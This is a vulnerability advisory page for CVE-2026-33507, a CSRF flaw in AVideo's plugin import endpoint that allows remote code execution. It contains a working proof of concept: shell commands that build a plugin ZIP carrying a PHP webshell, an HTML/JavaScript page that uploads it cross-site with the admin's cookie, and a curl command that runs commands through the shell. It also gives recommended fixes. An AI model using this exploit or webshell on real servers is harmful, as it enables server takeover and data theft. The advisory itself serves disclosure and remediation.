Loading...
Skip to main content

CVE-2026-33507 — Vulnerability in wwbn/avideo — CVE Details

HIGH

AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload

Published March 20, 2026Updated March 25, 2026Source: osv

Summary

## Summary The `objects/pluginImport.json.php` endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting `session.cookie_samesite = 'None'` for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server. ## Details The root cause has two components working together: **1. SameSite=None on session cookies (`objects/include_config.php:134-137`):** ```php if ($isHTTPS) { ini_set('session.cookie_samesite', 'None'); ini_set('session.cookie_secure', '1'); } ``` This explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance. **2. No CSRF protection on pluginImport.json.php (`objects/pluginImport.json.php:18`):** ```php if (!User::isAdmin()) { $obj->msg = "You are not admin"; die(json_encode($obj)); } ``` The endpoint only checks `User::isAdmin()` via the session. There is: - No CSRF token validation (the `verifyToken`/`globalToken` mechanism used elsewhere is absent) - No `allowOrigin()` call (contrast with `objects/videoAddNew.json.php` which calls `allowOrigin()` at line 8) - No `Referer` or `Origin` header validation - No requirement for custom headers (e.g., `X-Requested-With`) The upload form at `view/managerPluginUpload.php` also contains no CSRF token — it's a plain `<form enctype="multipart/form-data">` with a file input. **Why the attack bypasses CORS preflight:** `multipart/form-data` is a CORS-safelisted Content-Type, so a `fetch()` call with `mode: 'no-cors'` and `credentials: 'include'` sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect — plugin installation and PHP file extraction to the web-accessible `plugin/` directory — is the objective. **Why secondary PHP files are not validated:** The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (`.phtml`, `.phar`, `.sh`, etc.), and verifies the main plugin file extends `PluginAbstract`. However, `.php` is intentionally not in the `dangerousExtensions` list (it's a plugin system), and only the main file (`PluginName/PluginName.php`) is checked for the `PluginAbstract` pattern. Any additional `.php` files in the ZIP are extracted without content inspection. ## PoC **Step 1: Create the malicious plugin ZIP** ```bash mkdir -p EvilPlugin # Main file — passes PluginAbstract validation cat > EvilPlugin/EvilPlugin.php << 'PLUG' <?php class EvilPlugin extends PluginAbstract { public function getTags() { return array(); } public function getDescription() { return "test"; } public function getName() { return "EvilPlugin"; } public function getUUID() { return "evil-0000-0000-0000"; } public function getPluginVersion() { return "1.0"; } public function getEmptyDataObject() { return new stdClass(); } } PLUG # Secondary file — webshell, NOT checked for PluginAbstract cat > EvilPlugin/cmd.php << 'SHELL' <?php if(isset($_GET['c'])) system($_GET['c']); ?> SHELL zip -r evil-plugin.zip EvilPlugin/ ``` **Step 2: Host the CSRF exploit page** ```html <!DOCTYPE html> <html> <body> <h1>Loading...</h1> <script> // Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php // In practice, the attacker would embed the base64-encoded ZIP bytes here async function exploit() { const zipResp = await fetch('evil-plugin.zip'); const zipBlob = await zipResp.blob(); const formData = new FormData(); formData.append('input-b1', zipBlob, 'evil-plugin.zip'); fetch('https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php', { method: 'POST', body: formData, mode: 'no-cors', credentials: 'include' }); } exploit(); </script> </body> </html> ``` **Step 3: Admin visits attacker's page while logged into AVideo over HTTPS** The browser sends the multipart/form-data POST with the admin's `PHPSESSID` cookie (allowed by `SameSite=None`). The server processes the upload, validates the ZIP structure, and extracts it to `plugin/EvilPlugin/`. **Step 4: Attacker accesses the webshell** ```bash curl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id' # uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ## Impact - **Remote Code Execution:** An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session. - **Full server compromise:** The webshell runs as the web server user (`www-data`), enabling data exfiltration, lateral movement, database access, and further privilege escalation. - **No attacker account needed:** The attacker requires zero privileges on the target system — only that an admin visits a page they control. - **Stealth:** The attack is invisible to the admin (fire-and-forget side-effect request). The `no-cors` mode means no visible error or redirect. ## Recommended Fix **1. Add CSRF token validation to `objects/pluginImport.json.php`** (primary fix): ```php // After the isAdmin() check at line 18, add: if (!User::isAdmin()) { $obj->msg = "You are not admin"; die(json_encode($obj)); } // Add CSRF protection allowOrigin(); // Also validate a CSRF token if (empty($_POST['globalToken']) || !verifyToken($_POST['globalToken'])) { $obj->msg = "Invalid CSRF token"; die(json_encode($obj)); } ``` **2. Update the upload form in `view/managerPluginUpload.php`** to include the token: ```html <form enctype="multipart/form-data"> <input type="hidden" name="globalToken" value="<?php echo getToken(); ?>"> <input id="input-b1" name="input-b1" type="file" class=""> </form> ``` And pass it in the JavaScript upload config: ```javascript $('#input-b1').fileinput({ uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php', uploadExtraData: { globalToken: $('input[name=globalToken]').val() }, // ... }); ``` **3. Consider changing `SameSite=None` to `SameSite=Lax`** unless cross-origin cookie inclusion is specifically required for application functionality. `Lax` prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.

Advisory Timeline

  • First published March 20, 2026 (206 days ago).
  • Last revised March 25, 2026 — 5 days after initial publication.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
wwbn/avideo
packagist
10.4, 10.8, 11, 11.1 (+13 more)Range-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-352
    Cross-Site Request Forgery (CSRF)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-33507?
AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2026-33507?
CVE-2026-33507 affects wwbn/avideo. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-33507 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-hv36-p4w4-6vmj

Related CVEs

  • CVE-2026-33502
    CRITICAL

    AVideo has Unauthenticated SSRF via plugin/Live/test.php

  • CVE-2026-33351
    CRITICAL

    AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass

  • CVE-2026-33478
    CRITICAL

    AVideo Multi-Chain Attack: Unauthenticated Remote Code Execution via Clone Key Disclosure, Database Dump, and Command Injection

  • CVE-2026-33648
    HIGH

    AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path

  • CVE-2026-40909
    HIGH

    WWBN AVideo has a Path Traversal in Locale Save Endpoint Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE)

  • CVE-2026-33513
    HIGH

    AVideo has an Unauthenticated Local File Inclusion in API locale (RCE possible with writable PHP)

  • CVE-2026-33717
    HIGH

    AVideo: Remote Code Execution via PHP Temp File in Encoder downloadURL

  • CVE-2026-60092
    MEDIUM

    AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies